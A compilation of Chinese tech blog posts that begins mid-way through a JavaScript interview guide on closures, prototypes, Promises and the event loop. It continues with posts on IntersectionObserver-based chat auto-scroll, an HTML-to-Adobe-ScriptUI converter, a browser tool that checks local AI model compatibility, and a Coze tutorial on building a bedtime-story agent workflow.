答案闭包定义:内部函数访问外部函数的变量 / 参数,且内部函数被外部引用,形成闭包。

应用场景

  1. 私有化变量:隐藏内部属性,仅暴露接口(如 JS 模块、单例模式)
  2. 防抖 / 节流:缓存定时器标识
  3. 柯里化函数:参数复用、延迟执行
  4. 模块模式:实现单例、封装私有属性

优缺点

  • 优点:私有化变量、延长变量生命周期、实现函数柯里化
  • 缺点:闭包会占用内存,若未及时释放易导致内存泄漏(大量闭包 + 大对象)

题目 2:手写闭包实现私有属性

答案

/**
 * 闭包实现私有属性
 */
function Person(name) {
  // 私有属性
  let _age = 0;
  // 公有方法(闭包访问私有属性)
  this.getName = function() {
    return name;
  };
  this.getAge = function() {
    return _age;
  };
  this.setAge = function(val) {
    if (val >= 0) _age = val;
  };
}

// 测试
const p = new Person('张三');
console.log(p.getName()); // 张三
console.log(p.getAge()); // 0
p.setAge(20);
console.log(p.getAge()); // 20
console.log(p._age); // undefined(私有属性无法直接访问)

题目 3:闭包导致的内存泄漏如何解决?

答案

  1. 及时解除引用:闭包函数不再使用时,将其赋值为null,释放对内部变量的引用
  2. 避免滥用闭包:减少闭包嵌套层级,避免缓存大对象
  3. 使用弱引用:ES6 的WeakMap/WeakSet存储闭包数据,垃圾回收时自动释放(无引用限制)

3.5 原型基础

题目 1:原型、原型对象、构造函数的关系?

答案

  1. 构造函数:通过new创建实例的函数(如function Person() {}
  2. 原型对象:每个函数都有prototype属性,指向原型对象;每个实例都有__proto__属性,指向构造函数的原型对象
  3. 关系实例.__proto__ === 构造函数.prototype,原型对象的constructor属性指向构造函数

题目 2:JS 的继承方式有哪些?手写 ES6 类继承

答案:JS 常见继承方式:原型链继承、构造函数继承、组合继承、原型式继承、寄生式继承、寄生组合式继承(最优)、ES6 class 继承

手写 ES6 class 继承

/**
 * ES6 class继承
 */
class Parent {
  constructor(name) {
    this.name = name;
  }
  // 原型方法
  sayHi() {
    console.log(`Hello, ${this.name}`);
  }
  // 静态方法
  static create() {
    return new Parent('Static');
  }
}

class Child extends Parent {
  constructor(name, age) {
    // 必须调用super,初始化父类构造函数
    super(name);
    this.age = age;
  }
  // 重写原型方法
  sayHi() {
    // 调用父类方法
    super.sayHi();
    console.log(`I'm ${this.age} years old`);
  }
}

// 测试
const c = new Child('李四', 18);
c.sayHi(); // Hello, 李四 → I'm 18 years old
console.log(Child.create()); // Parent { name: 'Static' }

3.6 原型链深入

题目:手写实现寄生组合式继承(最优继承方式)

答案:寄生组合式继承解决了组合继承(调用两次父类构造函数)的效率问题,是 ES6 之前的最优方案:

/**
 * 寄生组合式继承
 * @param {Function} Child 子类 
 * @param {Function} Parent 父类 
 */
function inheritPrototype(Child, Parent) {
  // 创建父类原型的浅拷贝,避免修改父类原型
  const prototype = Object.create(Parent.prototype);
  // 修正constructor指向
  prototype.constructor = Child;
  // 子类原型指向拷贝的父类原型
  Child.prototype = prototype;
}

// 父类
function Parent(name) {
  this.name = name;
}
Parent.prototype.sayHi = function() {
  console.log(`Hi, ${this.name}`);
};

// 子类
function Child(name, age) {
  // 调用父类构造函数,初始化属性
  Parent.call(this, name);
  this.age = age;
}

// 实现继承
inheritPrototype(Child, Parent);

// 子类添加方法
Child.prototype.sayAge = function() {
  console.log(`Age: ${this.age}`);
};

// 测试
const c = new Child('王五', 20);
c.sayHi(); // Hi, 王五
c.sayAge(); // Age: 20
console.log(c instanceof Child); // true
console.log(c instanceof Parent); // true

3.7 Promise(核心)

题目 1:Promise 的三种状态?状态能否逆转?then 方法的执行机制?

答案

  1. 三种状态

    • pending:初始状态,未完成
    • fulfilled(resolved):成功状态
    • rejected:失败状态
  2. 状态逆转:状态一旦改变,不可逆转pendingfulfilledpendingrejected,不可逆)

  3. then 执行机制

    • then是微任务(异步执行),返回新的 Promise,支持链式调用
    • then回调返回非 Promise 值,会包装为resolved状态的 Promise;若返回 Promise,会等待其状态改变

题目 2:手写实现 Promise(简易版,含 resolve/reject/then)

答案

/**
 * 简易版Promise实现
 */
class MyPromise {
  // 状态
  #state = 'pending';
  #value = undefined;
  #reason = undefined;
  // 回调队列(处理异步resolve/reject)
  #onFulfilledCallbacks = [];
  #onRejectedCallbacks = [];

  constructor(executor) {
    // 绑定this,避免执行时this丢失
    const resolve = (value) => {
      if (this.#state === 'pending') {
        this.#state = 'fulfilled';
        this.#value = value;
        // 执行成功回调
        this.#onFulfilledCallbacks.forEach(cb => cb());
      }
    };

    const reject = (reason) => {
      if (this.#state === 'pending') {
        this.#state = 'rejected';
        this.#reason = reason;
        // 执行失败回调
        this.#onRejectedCallbacks.forEach(cb => cb());
      }
    };

    try {
      // 执行执行器
      executor(resolve, reject);
    } catch (err) {
      // 执行器抛错,触发reject
      reject(err);
    }
  }

  // then方法
  then(onFulfilled, onRejected) {
    // 处理参数默认值(值穿透)
    onFulfilled = typeof onFulfilled === 'function' ? onFulfilled : (v) => v;
    onRejected = typeof onRejected === 'function' ? onRejected : (r) => { throw r };

    // 返回新的Promise,实现链式调用
    return new MyPromise((resolve, reject) => {
      // 执行成功回调
      const handleFulfilled = () => {
        try {
          const result = onFulfilled(this.#value);
          // 处理返回Promise的情况
          if (result instanceof MyPromise) {
            result.then(resolve, reject);
          } else {
            resolve(result);
          }
        } catch (err) {
          reject(err);
        }
      };

      // 执行失败回调
      const handleRejected = () => {
        try {
          const result = onRejected(this.#reason);
          if (result instanceof MyPromise) {
            result.then(resolve, reject);
          } else {
            resolve(result);
          }
        } catch (err) {
          reject(err);
        }
      };

      // 同步状态时直接执行
      if (this.#state === 'fulfilled') {
        handleFulfilled();
      } else if (this.#state === 'rejected') {
        handleRejected();
      } else {
        // 异步状态时,存入回调队列
        this.#onFulfilledCallbacks.push(handleFulfilled);
        this.#onRejectedCallbacks.push(handleRejected);
      }
    });
  }

  // catch方法(等价于then(null, onRejected))
  catch(onRejected) {
    return this.then(null, onRejected);
  }

  // 静态方法:resolve
  static resolve(value) {
    return new MyPromise(resolve => resolve(value));
  }

  // 静态方法:reject
  static reject(reason) {
    return new MyPromise((resolve, reject) => reject(reason));
  }
}

// 测试
new MyPromise((resolve) => {
  setTimeout(() => resolve('Promise测试'), 1000);
}).then(res => {
  console.log(res); // 1秒后输出 Promise测试
  return 123;
}).then(res => {
  console.log(res); // 输出 123
});

3.8 事件循环(Event Loop)

题目 1:JS 的事件循环机制?宏任务与微任务的区别?执行顺序?

答案:JS 是单线程语言,事件循环是解决异步操作的核心机制,流程如下:

  1. 执行栈:先执行同步代码
  2. 微任务队列:同步代码执行完,清空所有微任务
  3. 宏任务队列:微任务清空后,取一个宏任务执行
  4. 循环往复:微任务→宏任务→微任务→宏任务

宏任务script整体代码、setTimeoutsetIntervalAJAX请求DOM事件UI渲染微任务Promise.then/catch/finallyMutationObserverqueueMicrotaskprocess.nextTick(Node.js)

题目 2:分析以下代码的执行顺序(大厂经典题)

console.log('1');
setTimeout(() => {
  console.log('2');
  Promise.resolve().then(() => {
    console.log('3');
  });
}, 0);
Promise.resolve().then(() => {
  console.log('4');
  setTimeout(() => {
    console.log('5');
  }, 0);
});
console.log('6');

答案:执行顺序:1 → 6 → 4 → 2 → 3 → 5

四、总结

本文覆盖了JS 核心基础、开发 99% 高频踩坑、大厂必考面试题,所有知识点都搭配了可直接运行的代码示例,踩坑点提供了落地解决方案,手写题是面试高频考点。

如果本文对你有所帮助,欢迎点赞、收藏、转发,一起成长!

AI 打字跟随优化

前文提到通过API去监听滚动容器或容器尺寸去触发打字跟随,监听用户的滚动去读取造成重排的属性来实现用户是否跟随打字实际会造成浏览器多次重排。

重排

浏览器重排(回流)是浏览器对DOM元素计算位置、尺寸、布局的过程。 浏览器解析HTML合成DOM树,解析CSS合成CSSOM树,它们会一步步合成渲染树,进行布局。页面、结构、尺寸发生变化就会再走一遍布局的计算流程,称为重排。

为什么重排会造成性能开销?

  • 当一个元素变化后,可能影响父元素、子元素、兄弟元素等,浏览器需要进行递归遍历。
  • 重排需要在浏览器主线程发生,阻塞JS、渲染。
  • 频繁重排会造成浏览器卡顿,浏览器的刷新率是60fps,每帧近16ms,一次重排就会占据一部分时间;多次重排会导致掉帧。

哪些操作会导致重排?

  • 元素几何属性发生变化。
  • 增删、移动DOM。
  • 窗口变化(resize、scroll页面等)
  • 获取布局相关属性:
    • offsetTop / offsetLeft / offsetWidth / offsetHeight

    • scrollTop / scrollHeight

    • clientTop / clientWidth

    • getComputedStyle()

    • getBoundingClientRect()

IntersectionObserver 哨兵模式

这里直接取消滚动事件的监听,在容器的最底部放一个哨兵容器,通过 IntersectionObserver 去监听哨兵在监听的父元素在可视区域的交叉值来判断用户是否滚动。让哨兵通过 scrollIntoView 直接暴露在可视区域,实现打字跟随。

<div class="chat-scroll-container" ref="scrollContainerRef">
    <div class="chat-container" id="messagesRef"></div>
    <div class="scroll-sentinel" ref="sentinelRef"></div> // 哨兵
</div>

threshold: 1 // 1 :表示全部进入,0 :露头就秒

onMounted(() => {
  const ro = new ResizeObserver(() => {
    if (enableAutoScroll.value) {
      scrollToBottom();
    }
  });
  ro.observe(chatMessagesRef.value);

  observer = new IntersectionObserver(
    (entries) => {
      const isIntersecting = entries[0].isIntersecting;
      enableAutoScroll.value = isIntersecting; 
    },
    {
      root: scrollContainerRef.value, // 监听父元素,默认为 root
      threshold: 1,       // 1表示全部进入,0 :露头就秒
      rootMargin: '10px', // 提前10px开始生效
    }
  );

  if (sentinelRef.value) observer.observe(sentinelRef.value);
});

  
  const scrollToBottom = () => {
  nextTick(() => {
    const el = sentinelRef.value;
    if (!el) return;
    if (enableAutoScroll.value) {
      sentinelRef.value.scrollIntoView({ behavior: 'instant' });
    }
  });
};

在实践过程中,如果使用 behavior: 'smooth' ,浏览器在触发 scrollToBottom 时发生的动画会频繁抖动,将哨兵挤到父容器的可视区域外,导致 IntersectionObserver 频繁触发,可能产生 bug,使用 instant 取消浏览器动画抖动,直接抵达底部,避免该情况产生。

ps, ai, ae插件都可以用html和js开发了

Adobe ScriptUI 学习之旅:从标记语言到跨应用交互

1. 缘起:对 Duik 插件的探索

作为 After Effects 用户,我一直对 Duik 这个强大的角色动画插件库充满好奇。Duik 提供了丰富的骨骼动画工具,极大地简化了角色动画的制作流程。然而,当我尝试深入学习它的代码结构时,却遇到了一些挑战:

  • 文档收费:完整的 Duik 文档需要付费购买
  • 代码结构问题:Duik 没有采用模块化设计,而是大量使用全局变量作为功能实现方式,导致代码可读性差,难以维护和扩展
  • 学习曲线陡峭:对于初学者来说,理解其代码逻辑较为困难

2. 寻找官方文档的历程

为了更好地理解 Adobe 脚本开发,我开始从 After Effects 的帮助菜单中寻找相关文档。有趣的是,Adobe 官方并没有直接提供完整的 ScriptUI 文档,而是在帮助菜单的链接中指向了第三方资源:

通过这些文档,我了解到 ScriptUI 不仅适用于 After Effects,还可以在其他 Adobe 应用中使用,并且支持跨应用交互,这为我的开发思路打开了新的大门。

3. 痛点:ScriptUI 构建的复杂性

在学习过程中,我发现 ScriptUI 的构建方式相对繁琐:

  • 需要通过脚本代码手动创建每个 UI 组件
  • 布局管理需要编写大量代码
  • 修改 UI 结构时需要调整多处代码

Duik 虽然抽象了一些方法来简化这个过程,但对于我来说仍然不够直观。我开始思考:是否可以使用更简洁的标记语言来描述 UI,然后编译成 ScriptUI 代码?

4. 解决方案:标记语言到 ScriptUI 的转换

基于这个想法,我创建了一个代码仓库,实现了从 HTML 标记语言到 Adobe ScriptUI JSX 代码的转换。在开发初期,我考虑过使用 Vue Compiler 来处理标记语言,但后来发现 Vue 支持的特性和 HTML 差别较大,而且我们并不需要 HTML 的全部功能,因此最终决定自己实现一个轻量级的转换引擎。

核心功能

  • HTML 标记语言支持:使用熟悉的 HTML 标签来描述 UI 结构
  • 组件映射:将 HTML 标签映射到对应的 ScriptUI 组件
  • 事件处理:支持内联 onClick 事件绑定
  • 实时编译:通过文件监视器实时将 HTML 变更编译为 JSX

项目结构

项目采用 monorepo 结构,包含三个核心包:

  1. adobe-scriptui-html-to-jsx:核心转换引擎,负责将 HTML 标记转换为 ScriptUI JSX 代码
  2. adobe-scriptui-watcher:文件监视器,监视 HTML 文件变化并自动触发编译
  3. adobe-scriptui-ae-helper:示例应用,展示了如何使用该工具构建实际的 After Effects 助手工具

这种拆包设计的目的是为了模块化和可扩展性,现在主要用于 After Effects,但未来可以轻松扩展到其他 Adobe 应用中。

5. 实际应用:AE 助手工具

通过这个工具,我构建了一个功能丰富的 After Effects 助手工具,包含:

  • 弹性表达式:为属性添加弹性动画效果
  • 常用表达式:快速应用 loop、wiggle、random 等常用表达式
  • AI 文件导入:支持从 Illustrator 导入文件到 After Effects
  • 用户友好的界面:通过 HTML 标记语言快速构建和修改 UI

6. 未来展望

这个项目只是我对 Adobe 脚本开发探索的开始。未来,我计划:

业务调研与痛点解决

  • 表达式管理系统:针对设计师使用表达式的痛点,开发一个更智能的表达式管理系统。目前设计师们通常需要从文本文件中复制粘贴表达式,修改参数困难,应用到其他属性时容易出错,最终只好放弃使用表达式而回到关键帧动画。
  • 可视化表达式编辑器:开发一个可视化的表达式编辑器,让设计师可以通过界面调整参数,而不需要直接编写代码。

功能抽象

  • 跨应用组件库:构建一套适用于所有 Adobe 应用的组件库
  • 模板系统:创建可复用的 UI 模板
  • 跨应用工作流:实现不同 Adobe 应用之间的无缝交互

开发流程优化

  • AI 辅助开发:利用 AI 工具生成初始代码,然后根据文档进行调整
  • 可视化编辑器:开发一个可视化 UI 编辑器,进一步简化开发流程
  • 社区贡献:鼓励社区贡献,共同完善这个工具

7. 结语

通过对 Adobe ScriptUI 的学习和探索,我不仅解决了 UI 构建的痛点,还为 Adobe 脚本开发提供了一种新的思路。标记语言到 ScriptUI 的转换,使得 UI 开发变得更加直观和高效。

虽然这个项目还在不断发展中,但它已经展示了如何通过创新的方法来简化复杂的开发流程。我相信,随着更多功能的加入和社区的参与,这个工具将成为 Adobe 脚本开发者的有力助手,同时也能帮助设计师们更轻松地使用和理解表达式,提升动画制作的效率和质量。


提示:如果你也对 Adobe 脚本开发感兴趣,欢迎访问我的 GitHub 仓库 adobe-script-ui-helper,一起探索 Adobe 脚本开发的无限可能!

我花一天时间Vibe Coding的开源AI工具,一键检测你的电脑能跑哪些AI大模型

最近一直在深耕 AI Agent 与大模型应用,比如 JitKnow AI 知识库、JitWord协同AI文档、Pxcharts 超级表格,同时也持续在给大家分享 GitHub 上真正能落地、能解决实际问题的优质AI开源项目。

图片

今天和大家分享一款我花了一天时间做的开源工具——ai-detector。

它是一款完全运行在浏览器端的免费硬件检测工具。能自动读取你电脑的内存、CPU、GPU 信息,智能匹配 21+ 主流开源 AI 大模型的兼容性,并给出本地运行速度预估,帮你在 5 秒内找到最适合自己电脑的 AI 模型。

无需安装、无需登录、无需上传任何数据,全程 100% 本地运行。

ps:最近小龙虾很火,但是又担心自己电脑配置不够的朋友,可以使用这款线上工具检测一下电脑适合哪些模型,告别AI恐惧啦~老规矩,先上开源地址。

github:github.com/MrXujiang/a…

演示地址:jitword.com/ai-detector

下面就和大家详细分享一下这款 AI Coding 出来的开源项目。

先上一个基础的功能演示比如我想在我的电脑里部署一个本地AI模型,但是又担心我的电脑配置不够,那么直接运行这个项目:

图片

点击开始检测, 不到5s,就会给出自己电脑的性能和适合运行哪些模型的详细报告:

图片

分析的非常准确,可能是我电脑年久失修,只给出了28分。。。ai-detector 还会为我们推荐基于当前电脑,适合运行的模型推荐:

图片

不仅如此,它还会对目前主流的数十个开源模型,对当前电脑进行分析评测,分析出部署这些大模型的性能,风险等信息,如下:

图片

对于比较吃电脑性能的模型,它会给我们全面的分析:

图片

最后会基于我们的硬件配置,估算各模型生成速度(tokens/秒),并输出可视化的分析报表:

图片

核心能力总结

下面和大家总结一下 ai-detector 的核心能力和亮点。

  1. 硬件自动检测
  • 系统内存通过 navigator.deviceMemory 读取 RAM 大小
  • CPU 核心数通过 navigator.hardwareConcurrency 读取逻辑核数
  • GPU 型号通过 WebGL WEBGL_debug_renderer_info 扩展识别显卡
  • 综合跑分基于内存与 CPU 计算 0-100 综合评分,直观了解你的 AI 能力等级

2. 21+ 大模型兼容性分析

覆盖当前最主流的开源大模型系列,一键发现哪些能跑、哪些跑不动:

系列 代表模型 参数规模
🦙 Llama TinyLlama、Llama 3.2、Llama 3.1 1.1B ~ 70B
🌐 Qwen Qwen2.5 3B/7B/14B/32B/72B 3B ~ 72B
💎 Phi Phi-3 Mini、Phi-3 Medium 3.8B ~ 14B
🌬️ Mistral Mistral 7B 7B
🧠 DeepSeek DeepSeek-R1、DeepSeek Coder 7B ~ 70B
👁️ 多模态 LLaVA 7B、MiniCPM-V 8B 7B ~ 8B
💫 Gemma Gemma 2 2B 2B
  1. 支持兼容性三级分类
  • 😊 流畅运行内存充裕,可稳定高速推理
  • ⚠️ 勉强运行:内存刚好满足,速度偏慢
  • ❌ 内存不足:当前配置无法加载该模型
  1. 运行速度排行

检测完成后自动生成可运行模型的速度排行榜,按 tokens/秒从高到低排列,帮你优先选出响应最快的模型。

  1. 量化模式切换

图片

  • Q4 量化内存占用更低,普通设备首选
  • Q8 量化精度更高,内存需求约为 Q4 的 2 倍
  • 一键切换,实时刷新所有模型兼容状态
  1. 个性化模型推荐基于我们的硬件配置,自动从模型库中精选 最均衡速度最快能力最强 三款推荐,省去选择烦恼。

  2. 一键复制检测报告

图片

生成包含硬件配置、综合评分、可运行模型的文本报告,方便分享或咨询。

完整使用流程总结

为了让大家轻松上手使用,我总结了一下7步使用法,大家可以参考一下:

  1. 打开页面 → 点击「开始硬件检测」按钮
  2. 等待扫描(约 3~5 秒)→ 自动完成内存、CPU、GPU 检测
  3. 查看结果 → 获得综合跑分与设备等级评价
  4. 浏览推荐 → 查看「为你推荐」区块,获取最适合你的 3 款模型
  5. 筛选模型 → 在「模型列表」中按兼容状态、类型筛选,支持关键词搜索
  6. 切换量化 → 尝试切换 Q4 / Q8 量化,查看内存需求变化
  7. 复制报告 → 一键复制检测结果,方便保存或分享

为什么要做这个开源项目这里分析一张图,大家就知道了:

特性 AI -Detector 其他工具
需要安装 ❌ 无需安装 ✅ 通常需要
需要登录 ❌ 无需注册 ✅ 通常需要
数据上传 ❌ 完全不上传 ⚠️ 部分上传
模型覆盖 ✅ 21+ 主流模型 ⚠️ 覆盖有限
速度预估 ✅ tokens/s 量化估算 ⚠️ 通常无此功能
升级建议 ✅ 智能提示内存升级方案 ❌ 无
量化切换 ✅ Q4 / Q8 实时切换 ❌ 无
开源免费 ✅ MIT 协议 ⚠️ 多数收费

主要是为了让任何没有技术基础的人,也能轻松拥有专业级AI模型选型能力,告别AI焦虑。

目前已开源,大家可以免费使用:

github:github.com/MrXujiang/a…

DEMO演示地址:jitword.com/ai-detector

智能体与工作流:从「想做一个应用」到「能跑通一条链」

智能体与工作流:从「想做一个应用」到「能跑通一条链」

这篇博客用睡前故事串起两件事:概念上分清智能体与工作流;操作上Coze 搭画布(大模型 / 循环 / 插件)、发布工作流,再 创建对话智能体 把链挂上去并用预览验收;最后对比 Coze 与 Node.js 自研。配图已上传 OSS(与本地 assets/agent-workflow/*.png 同源文件名,便于你用 img 脚本覆盖更新)。

本文结构(按需跳读)

部分 内容
概念与需求 智能体、工作流、为何不能一次调模型、串行链、mermaid
设计四步 只在脑子里/文档里「生成」草图,不涉及 Coze 点击路径
实践一 Coze 工作流画布:节点类型、从「开始」到「结束」的配置与截图
实践二 发布工作流创建智能体 → 编排里 挂工作流 → 预览与 发布智能体(截图)
收尾 Coze 优缺点、与自研关系、全文小结

智能体是什么:不止「和大模型聊一句」

智能体(Agent)在经典定义里,是能感知环境做决策再行动的系统。落到今天的大模型应用上,可以把它理解成:

以模型为「大脑」之一,再叠上检索、工具调用、业务规则、多模态输出等能力,按固定或可变策略运转,最终对用户给出一个完整结果单元(而不只是一段即时回复)的那一层产品形态。

用户输入、系统提示词、中间调用的搜索与 TTS 等,都是「环境」与「指导信息」;智能体要做的,是在这些约束下把多步事情办完。


工作流是什么:把能力排成一条(或多条)流水线

智能体里真正承担业务骨架的,是 工作流(Workflow):把「分析意图 → 查资料 → 写稿 → 润色 → 念出来」这类步骤,变成可执行、可观测、可迭代的节点图。

  • 串行工作流:上一步输出是下一步输入,适合故事生成这类主线清晰的任务。
  • 并行与分支:实际业务里常有「同时查多个源」「某步失败则降级」等,图会变复杂;入门阶段先把一条串行链画清楚,价值最大。

一句话:智能体是「产品视角」的说法,工作流是「工程视角」的实现方式。


用「6~8 岁睡前故事」理解:为什么不能只调一次文本模型

假设产品需求是:

  1. 用户给一个故事主题;尽量讲经典民间故事,没有经典则围绕主题创作
  2. 内容与语言要符合 6~8 岁认知,不「超龄」。
  3. 最后用亲切的语音把故事念出来。

若只做 chat.completions 一次调用,模型既可能胡编典故,又无法引用可靠原文,更没有声音。因此这个应用本质上需要多能力组合:

能力 作用
搜索 / 检索 找到故事原文或参考资料(常与 RAG / 检索增强生成 一起讨论)
写作与润色 在检索结果上写草稿,再按儿童口吻改写
语音合成(TTS) 把定稿文本变成可播放音频

这些能力不会自动长在一起,要靠你在产品里编排顺序、约定每步输入输出。这就是工作流要解决的问题。


核心工作流长什么样(串行示例)

把上面的需求压成一条链,可以是:

输入主题 → 生成检索 query → 搜索并整理材料 → 撰写草稿 → 语言与风格润色 → 语音合成 → 输出(文本 + 音频)

用流程图表示更直观:

flowchart LR
  A[用户主题] --> B[生成搜索 query]
  B --> C[搜索 / 整理]
  C --> D[写草稿]
  D --> E[儿童向润色]
  E --> F[TTS]
  F --> G[文本 + 语音]

实现顺序上的建议:先在纸上或文档里画出这条链,标清每一步的输入输出数据结构;再决定用 Coze 拖拽,还是用代码(例如 Node.js)写「调度器」。顺序对了,换工具只是换壳。


设计阶段的四步清单(还不打开 Coze 也能做)

你可以把下面四步当作任意业务的模板,先在文档或白板完成;它们回答的是「做什么」,而不是「在 Coze 里点哪个菜单」:

  1. 定义成功态:用户最终拿到什么?(一段 JSON、一篇带出处的文章、一条语音……)
  2. 拆能力:需要模型、搜索、数据库、支付、TTS 中的哪几项?哪些可以合并成一步?
  3. 定依赖与顺序:哪一步必须等上一步结束?哪一步可以并行?失败时是否重试或降级?
  4. 选承载:原型期用 Coze 等低代码快速验证;上线前再评估是否迁到 自研编排(数据隐私、细粒度调试、成本结构)。

做到这里,你已经「生成」了智能体的设计稿。接下来两节是落地:先在 Coze 里把 工作流画布 跑通,再 发布挂到智能体


实践一:在 Coze 里搭「睡前故事」工作流(画布)

扣子 Coze 提供了工作流编排:用节点把大模型、循环、插件等连成图,适合快速验证「这条链跑不跑得通」。下面配图来自同一套「睡前故事」示例画布,界面以你当前 Coze 版本为准;若菜单文案略有差异,对照节点职责即可。

节点类型与添加路径(和本文截图一致)

在 Coze 工作流画布上点 「添加节点」 时,可按下面方式选类型(不同版本菜单层级可能微调,核心是节点类型要对):

画布上的职责 添加节点时的选择 说明
开始 / 结束 无需添加 新建工作流后画布默认自带;只需配置入参、出参。
生成 query、撰写草稿、润色 大模型 三处都是「大模型」节点,分别改节点标题与提示词、输入输出即可。
搜索并整理内容(外层) 循环 先加循环节点,再在循环体内部加搜索用的插件节点。
循环体内的搜索 插件 → 必应搜索 每次迭代用当前 query 调必应,把结果汇总给后续大模型。
语音合成 插件 → 搜索文本转语音 将润色后的正文交给插件生成音频(插件名以控制台为准)。

下文按数据从左到右的顺序讲配置要点;你在菜单里选对的节点类型,就和「一步步实现」对上了。

画布总览:一条从主题到「文本 + 语音」的链

整体从左到右大致是:开始(默认)→ 生成 query(大模型)→ 搜索并整理内容(循环,循环体内必应搜索)→ 撰写草稿(大模型)→ 润色(大模型)→ 语音合成(插件:搜索文本转语音)→ 结束(默认)。多模态输出在「结束」节点里一次性返回给上层 Bot 或 API。

Coze 工作流画布总览:睡前故事智能体

1. 新建工作流

进入 Coze 控制台 → 工作空间资源库 → 新建 工作流,例如命名为 bedtime_story,描述写清「给 6~8 岁孩子讲睡前故事」。进入画布后,「开始」与「结束」是默认节点,不必在「添加节点」里再选一次;后面所有节点都是从「开始」往后串、最后收进「结束」。

「开始」节点:声明工作流对外的入参。示例里只暴露一个字符串 input(故事主题),后续大模型节点通过模板变量 {{input}} 引用。

开始节点:配置入参 input

2. 第一个大模型节点:从主题到「检索 query」

添加节点 → 大模型,将节点标题改为「生成 query」(名称可自定)。用于:根据用户输入分析意图,并输出一组搜索用 query(后续由循环消费)。

系统提示词可围绕「目标 + 分析方法 + 任务」来写,例如(节选思路):

  • 若主题是常见民间故事名,则生成便于检索原文的 query;
  • 否则结合文化背景生成能搜到参考资料的 query;
  • 明确输出格式要求(如字符串数组)。

用户提示词里使用 Coze 的模板变量,把「开始」节点的输入接进来,例如:

{{input}}

双花括号中的名字需与开始节点里定义的输入字段名一致(默认常为 input)。

输出变量建议配置两个(示例命名):

输出名 类型 含义
querys 字符串数组 多条检索 query
intent 字符串 对用户意图的简短概括

这里 intent 未必被后续节点消费,但让模型多输出一个「对自己有用」的字段,往往能起到链式思考(chain-of-thought)外显的效果,有助于提高 querys 质量——这是很多工作流里的小技巧。

联调小技巧:开发时可以把该节点输出直接连到 结束 节点,在结束节点里配置要暴露的变量,先验证「query 生成」是否稳定,再往下接搜索与写作。

下图可见:模型选用「豆包·2.0·pro」等;输入绑定「开始 → input」;输出解析为 JSON 字段(如 intentquerys 数组),供下一节点消费。

生成 query 节点:系统提示词、用户侧 {{input}}、JSON 输出 intent / querys

3. 循环 + 必应搜索:对多条 query 逐个检索

因为 querys 是数组,在「生成 query」后面 添加节点 → 循环;外层循环节点标题可写成「搜索并整理内容」一类,便于读图。

  • 循环类型:选「使用数组循环」;循环数组绑定上一大模型节点的 querys
  • 循环体内部:再点 添加节点 → 插件 → 必应搜索(或你工作区里可用的等价联网搜索插件)。每次迭代把当前元素映射为搜索的 querycount 控制条数;输出里的 data 等字段供循环汇总。
  • 输出映射:界面上常有经验顺序——先在循环体里把「必应搜索」节点接好、跑通,再回来配置循环节点对外的输出数组(否则没有可引用的中间结果)。

循环节点:数组绑定「生成 query → querys」,输出汇总检索结果

循环体内插件「必应搜索」:query 来自循环、count 控制返回条数

若不需要循环内的临时中间变量,可在 Coze 里按界面提示精简变量,避免图越来越乱。

4. 撰写草稿 → 润色(大模型)→ 语音合成(插件)→ 结束(默认)

在循环之后,把整理后的检索结果交给两个连续的大模型节点做「写稿 + 润色」,最后用插件出音。

撰写草稿添加节点 → 大模型。输入侧接入「搜索并整理内容」汇总后的材料;系统提示词约束「6~8 岁、经典尽量忠于原文」等;用户提示词用模板 参考资料:{{input}} 把变量喂进模型;输出 output(及可选 reasoning_content)供下一步使用。

撰写草稿节点:大模型,输入检索整理结果

润色:同样 添加节点 → 大模型。输入接 撰写草稿 → output;系统提示词切换为「温柔大姐姐给妹妹讲睡前故事」等人设;用户侧 故事材料:{{input}};输出仍为字符串 output

润色节点:大模型,承接草稿 output

语音合成添加节点 → 插件 → 搜索文本转语音(若控制台插件名称有细微差别,以实际列表为准)。将正文字段绑定 润色 → output;并按插件面板填写音色、cluster(如 volcano_tts)、app_id / app_token 等;输出里常见 link 指向生成音频 URL。

语音合成节点:插件「搜索文本转语音」,文本来自润色 output

结束:使用画布默认的「结束」节点即可;在配置里选 「返回变量」:例如 text 映射润色后的正文,audio 映射语音合成返回的 link(或平台等价字段),这样上层一次拿到「可读文本 + 可播音频」。

结束节点:返回变量 text(润色)与 audio(语音 link)

每一段的输入输出变量名要与前后节点对齐;逻辑顺序应与上文「核心工作流」示意图一致——你在 Coze 里是在「画图实现」同一张设计稿。


实践二:发布工作流,并挂到「对话智能体」

画布上的 工作流 解决「一条链怎么跑」;智能体(Bot) 解决「用户怎么对话触发这条链」。建议顺序:试运行并发布工作流 → 在资源库 创建智能体编排 → 技能 → 工作流 里添加已发布的工作流 → 预览与调试 验证触发与入参 → 发布智能体

试运行与发布工作流

bedtime_story(或你的工作流名)编辑页里先 试运行,确认「开始 → … → 结束」整条链无报错后,使用平台提供的 发布(或「上线」类)能力,把工作流变为 已发布 状态。只有发布后,智能体侧「添加工作流」列表里才容易稳定搜到它(具体按钮名称以 Coze 当前版本为准)。

在资源库创建智能体

进入 工作空间 → 资源库,右上角 「+ 创建」,选择 「创建智能体」(适用于对话式智能体)。

资源库中创建智能体入口

填写名片并确认

在弹窗里选 标准创建(或你需要的创建方式),填写 智能体名称功能介绍工作空间图标 等。示例中与睡前故事一致:儿童睡前故事 / 给 6-8 岁儿童讲睡前故事 等。点 确认 进入编排页。

创建智能体:名称、介绍、空间与图标

编排里挂载工作流技能

打开 编排,在 技能 区域找到 工作流 一行,点击右侧 「+」(提示为 添加工作流)。在列表中选中已发布的 bedtime_story,点 添加,把它挂到当前智能体上。这样用户发一句自然语言时,智能体才会按策略去 调用 你刚编排好的那条链。

编排页:技能 → 工作流 → 添加工作流

添加工作流弹窗:选择已发布的 bedtime_story

预览调试并发布智能体

右侧 预览与调试 里直接输入用户会说的主题(例如 「狼来了」)。若编排正确,应能看到 正在调用 bedtime_story 一类状态,并走完整条工作流(含你结束的 text / audio 等返回)。确认满意后,再在平台里 发布智能体,对外分享或接入渠道。

预览与调试:用户输入触发 bedtime_story 工作流

与「实践一」的关系:工作流 = 可复用的业务链;智能体 = 对话壳 + 默认模型 + 挂载的一条或多条工作流。先发布链,再把链挂到 Bot 上,用预览验证「用户一句话 → 工作流入参 input」是否对齐。


Coze 工作流的优缺点:适合当「哪一级」

优点

  • :复杂分支、流式输出、插件生态都能较快搭出可演示版本。
  • 省成本:适合创业者、团队做原型验证与需求对齐。
  • 可视化:非纯研发也能参与讨论「第几步该干什么」。

局限

  • 平台绑定:流程与数据多在 Coze 侧,对强隐私、强合规、专有部署的场景要慎重。
  • 节点内部偏黑盒:要做极致的数据结构优化、细粒度耗时分析时,不如代码透明。

